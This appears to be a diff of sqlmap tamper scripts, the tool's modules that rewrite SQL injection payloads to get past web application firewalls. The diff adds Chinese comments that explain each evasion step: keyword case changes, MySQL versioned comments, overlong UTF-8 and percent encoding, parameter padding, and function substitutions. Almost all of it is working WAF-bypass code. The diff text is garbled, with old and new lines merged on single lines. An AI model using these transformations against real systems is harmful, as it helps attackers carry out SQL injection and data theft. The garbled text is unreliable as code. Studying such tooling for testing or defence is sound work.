Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart 这个函数用于篡改tamper输入的payload'IFNULL(A, B)'语句替换为其等效的'IF(ISNULL(A), B, A)'形式
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Requirement: 要求
* MySQL * 适用于MySQLSQLite可能和SAP MaxDB可能数据库
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against: 测试情况
* MySQL 5.0 and 5.5 * MySQL 5.0 5.5
Notes: 注意
* Useful to bypass very weak and bespoke web application firewalls * 这个篡改方法对于绕过那些过滤IFNULL()函数的非常弱的定制Web应用防火墙很有用
that filter the IFNULL() function
>>> tamper('IFNULL(1, 2)') 示例
'IF(ISNULL(1),2,1)' >>> tamper('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
""" """
if payload and payload.find("IFNULL") > -1: if payload and payload.find("IFNULL") > -1: # 如果payload不为空且包含'IFNULL'
while payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: # 遍历所有'IFNULL'语句
index = payload.find("IFNULL(") index = payload.find("IFNULL(") # 找到'IFNULL'的位置
depth = 1 depth = 1 # 初始化括号深度
comma, end = None, None comma, end = None, None # 初始化逗号位置和结束位置
# 遍历payload以找到'IFNULL'语句的结束位置
for i in xrange(index + len("IFNULL("), len(payload)): for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',': if depth == 1 and payload[i] == ',':
comma = i comma = i # 记录逗号位置
elif depth == 1 and payload[i] == ')': elif depth == 1 and payload[i] == ')':
end = i end = i # 记录结束位置
break break
elif payload[i] == '(': elif payload[i] == '(':
depth += 1 depth += 1 # 增加括号深度
elif payload[i] == ')': elif payload[i] == ')':
depth -= 1 depth -= 1 # 减少括号深度
# 如果找到逗号和结束位置,则进行替换
if comma and end: if comma and end:
_ = payload[index + len("IFNULL("):comma] _ = payload[index + len("IFNULL("):comma] # 提取参数A
__ = payload[comma + 1:end].lstrip() __ = payload[comma + 1:end].lstrip() # 提取参数B
newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) # 构造新的IF语句
payload = payload[:index] + newVal + payload[end + 1:] payload = payload[:index] + newVal + payload[end + 1:] # 替换原IFNULL语句
else: else:
break break

@ -9,6 +9,7 @@ import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -19,9 +20,10 @@ def tamper(payload, **kwargs):
'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
# 使用正则表达式查找"information_schema"并添加内联注释
retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload)
return retVal return retVal

@ -5,7 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re import re # 导入正则表达式模块,用于匹配和替换字符串中的模式
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
@ -16,30 +16,35 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces greater than operator ('>') with 'LEAST' counterpart 这个函数用于篡改tamper输入的payload将大于操作符'>')替换为'LEAST'函数的等效形式
Tested against: 参数
* MySQL 4, 5.0 and 5.5 payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* MySQL 4, 5.0 5.5
* Oracle 10g * Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0 * PostgreSQL 8.3, 8.4, 9.0
Notes: 注意
* Useful to bypass weak and bespoke web application firewalls that * 这个篡改方法对于绕过那些过滤大于字符'>')的弱Web应用防火墙很有用
filter the greater than character * LEAST函数是一个广泛使用的SQL命令因此这个tamper脚本应该适用于大多数数据库
* The LEAST clause is a widespread SQL command. Hence, this
tamper script should work against majority of databases
>>> tamper('1 AND A > B') 示例
'1 AND LEAST(A,B+1)=B+1' >>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
""" """
retVal = payload retVal = payload
if payload: if payload: # 如果payload不为空
# 使用正则表达式查找'A > B'形式的语句
match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload)
if match: if match: # 如果找到匹配项
# 构造LEAST函数形式的语句并替换原语句
_ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4))
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _) # 替换原语句为LEAST函数形式
return retVal return retVal

@ -5,11 +5,12 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re import re # 导入正则表达式模块,用于匹配字符串中的模式
from lib.core.data import kb from lib.core.data import kb # 从核心库导入知识库包含SQL关键字等信息
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
@ -17,28 +18,34 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces each keyword character with lower case value (e.g. SELECT -> select) 这个函数用于篡改tamper输入的payload将其中的关键字字符转换为小写形式例如'SELECT' -> 'select'
Tested against: 参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* Microsoft SQL Server 2005 * Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5 * MySQL 4, 5.0 5.5
* Oracle 10g * Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0 * PostgreSQL 8.3, 8.4, 9.0
Notes: 注意
* Useful to bypass very weak and bespoke web application firewalls * 这个篡改方法对于绕过那些具有写得不好的允许正则表达式的非常弱的定制Web应用防火墙很有用
that has poorly written permissive regular expressions
>>> tamper('INSERT') 示例
'insert' >>> tamper('INSERT')
'insert'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload:
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
word = match.group()
if payload: # 如果payload不为空
# 遍历payload中所有匹配单词边界的字母或下划线模式的字符串
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
word = match.group() # 获取匹配的单词
# 如果匹配的单词是SQL关键字则将其转换为小写
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.lower()) retVal = retVal.replace(word, word.lower())

@ -5,13 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import random import random # 导入随机数模块,用于生成随机字符串
import string import string # 导入字符串模块,用于访问字符串常量
from lib.core.compat import xrange from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.enums import HINT from lib.core.enums import HINT # 从核心库导入枚举类型
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER # 从核心设置导入默认的GET/POST参数分隔符
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
@ -29,8 +29,10 @@ def tamper(payload, **kwargs):
'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'
""" """
hints = kwargs.get("hints", {}) hints = kwargs.get("hints", {}) # 从kwargs中获取hints字典若不存在则初始化为空字典
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) # 从kwargs中获取delimiter若不存在则使用默认的GET/POST参数分隔符
# 生成大量随机参数并添加到hints[HINT.PREPEND]中用于绕过WAF
hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500)) hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500))

@ -8,12 +8,14 @@ See the file 'LICENSE' for copying permission
import os import os
import re import re
# 从sqlmap的库中导入一些枚举和函数
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
# 定义dependencies函数用于在运行tamper脚本时显示警告信息
def dependencies(): def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
@ -32,5 +34,8 @@ def tamper(payload, **kwargs):
>>> tamper('1" UNION ALL SELECT') >>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT' '1"-.1UNION ALL SELECT'
""" """
# 使用正则表达式替换payload中的UNION关键字前面加上-.1
# 这样做是为了绕过某些WAFWeb Application Firewall的检测
# 正则表达式(?i)\s+(UNION )匹配UNION关键字并且忽略大小写
# \g<1>是反向引用表示替换时保留匹配到的UNION关键字
return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload

@ -7,16 +7,22 @@ See the file 'LICENSE' for copying permission
import os import os
# 从sqlmap的库中导入随机数生成函数和单次警告消息函数
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
# 导入数据库管理系统枚举和优先级枚举
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置这个tamper脚本的优先级
__priority__ = PRIORITY.HIGHER __priority__ = PRIORITY.HIGHER
# 定义dependencies函数用于在运行tamper脚本时显示警告信息
def dependencies(): def dependencies():
# 显示单次警告消息告知用户这个tamper脚本只针对MySQL数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
# 定义tamper函数这是脚本的主要功能函数用于修改payload
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Embraces complete query with (MySQL) versioned comment Embraces complete query with (MySQL) versioned comment
@ -38,14 +44,18 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
postfix = '' postfix = ''
# 遍历可能的注释符号找到payload中的第一个注释符号
for comment in ('#', '--', '/*'): for comment in ('#', '--', '/*'):
if comment in payload: if comment in payload:
postfix = payload[payload.find(comment):] postfix = payload[payload.find(comment):]
payload = payload[:payload.find(comment)] payload = payload[:payload.find(comment)]
break break
# 如果payload中包含空格说明可以插入versioned comment
if ' ' in payload: if ' ' in payload:
# 构造新的payload插入versioned comment
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)
return retVal return retVal

@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission
import os import os
# 从sqlmap的库中导入单次警告消息函数
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
# 导入数据库管理系统枚举和优先级枚举
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置这个tamper脚本的优先级
__priority__ = PRIORITY.HIGHER __priority__ = PRIORITY.HIGHER
# 定义dependencies函数用于在运行tamper脚本时显示警告信息
def dependencies(): def dependencies():
# 显示单次警告消息告知用户这个tamper脚本只针对MySQL数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
# 定义tamper函数这是脚本的主要功能函数用于修改payload
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Embraces complete query with (MySQL) zero-versioned comment Embraces complete query with (MySQL) zero-versioned comment
@ -37,12 +43,15 @@ def tamper(payload, **kwargs):
if payload: if payload:
postfix = '' postfix = ''
# 遍历可能的注释符号找到payload中的第一个注释符号
for comment in ('#', '--', '/*'): for comment in ('#', '--', '/*'):
if comment in payload: if comment in payload:
postfix = payload[payload.find(comment):] postfix = payload[payload.find(comment):]
payload = payload[:payload.find(comment)] payload = payload[:payload.find(comment)]
break break
# 如果payload中包含空格说明可以插入zero-versioned comment
if ' ' in payload: if ' ' in payload:
# 构造新的payload插入zero-versioned comment
retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)
return retVal return retVal

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import random import random
import re import re
# 从sqlmap的库中导入知识库和数据类型
from lib.core.data import kb from lib.core.data import kb
from lib.core.datatype import OrderedSet from lib.core.datatype import OrderedSet
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
@ -35,16 +36,22 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用OrderedSet存储找到的SQL关键字确保关键字的唯一性
words = OrderedSet() words = OrderedSet()
# 使用正则表达式找到payload中的所有单词SQL关键字
for match in re.finditer(r"\b[A-Za-z_]+\b", payload): for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
word = match.group() word = match.group()
# 如果单词是SQL关键字则添加到OrderedSet中
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
words.add(word) words.add(word)
# 对于OrderedSet中的每个SQL关键字
for word in words: for word in words:
# 在关键字前后添加1到4个随机数量的空格
# (?<=\W)确保我们在非单词字符后替换
# (?=[^A-Za-z_(]|\Z)确保我们在非单词字符前替换或字符串末尾
retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal)
# 对于后面紧跟着括号的关键字,只添加左边的空格
retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal)
return retVal return retVal

@ -28,6 +28,8 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用正则表达式将所有的ORD()函数调用替换为ASCII()函数调用
# 正则表达式(?i)\bORD\( 匹配ORD关键字忽略大小写并且确保是完整的单词边界
retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
return retVal return retVal

@ -32,14 +32,19 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
i = 0 i = 0
# 遍历payload中的每个字符
while i < len(payload): while i < len(payload):
# 如果当前字符是%,并且后面两个字符是十六进制数字,则认为这是一个已经编码的字符
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3] retVal += payload[i:i + 3]
i += 3 i += 3
else: else:
# 如果当前字符不是字母或数字则将其转换为overlong UTF8编码
if payload[i] not in (string.ascii_letters + string.digits): if payload[i] not in (string.ascii_letters + string.digits):
# 计算并添加overlong UTF8编码
retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f))
else: else:
# 如果是字母或数字,则直接添加到结果中
retVal += payload[i] retVal += payload[i]
i += 1 i += 1

@ -33,10 +33,13 @@ def tamper(payload, **kwargs):
i = 0 i = 0
while i < len(payload): while i < len(payload):
# 如果当前字符是%,并且后面两个字符是十六进制数字,则认为这是一个已经编码的字符
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3] retVal += payload[i:i + 3]
i += 3 i += 3
else: else:
# 将当前字符转换为overlong UTF8编码
# 每个字符被编码为两个字节第一个字节的高位设置为100xC0第二个字节的高位设置为100x80
retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f))
i += 1 i += 1

@ -13,7 +13,9 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
# 定义dependencies函数用于在运行tamper脚本时显示警告信息
def dependencies(): def dependencies():
# 显示单次警告消息告知用户这个tamper脚本只针对ASP web应用程序
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0])
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -40,10 +42,12 @@ def tamper(payload, **kwargs):
i = 0 i = 0
while i < len(payload): while i < len(payload):
# 如果当前字符是%,并且后面两个字符是十六进制数字,则认为这是一个已经编码的字符
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3] retVal += payload[i:i + 3]
i += 3 i += 3
elif payload[i] != ' ': elif payload[i] != ' ':
# 如果当前字符不是空格,则在其前面添加百分号
retVal += '%%%s' % payload[i] retVal += '%%%s' % payload[i]
i += 1 i += 1
else: else:

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import os import os
import re import re
# 从sqlmap的库中导入单次警告消息函数、零深度搜索函数、数据库管理系统枚举和优先级枚举
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.common import zeroDepthSearch from lib.core.common import zeroDepthSearch
from lib.core.enums import DBMS from lib.core.enums import DBMS
@ -16,6 +17,7 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
# 显示单次警告消息告知用户这个tamper脚本只针对Microsoft SQL Server数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -41,15 +43,20 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用正则表达式搜索payload中由'+'连接的CHAR()函数或单引号字符串
match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
if match: if match:
part = match.group(0) part = match.group(0)
# 将匹配的部分拆分为字符列表
chars = [char for char in part] chars = [char for char in part]
# 使用zeroDepthSearch函数找到所有的'+'字符位置
for index in zeroDepthSearch(part, '+'): for index in zeroDepthSearch(part, '+'):
# 将'+'字符替换为','字符
chars[index] = ',' chars[index] = ','
# 构造CONCAT函数的字符串表示
replacement = "CONCAT(%s)" % "".join(chars) replacement = "CONCAT(%s)" % "".join(chars)
# 将原始的由'+'连接的部分替换为CONCAT函数
retVal = retVal.replace(part, replacement) retVal = retVal.replace(part, replacement)
return retVal return retVal

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import os import os
import re import re
# 从sqlmap的库中导入单次警告消息函数、零深度搜索函数、兼容模块中的xrange函数、数据库管理系统枚举和优先级枚举
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
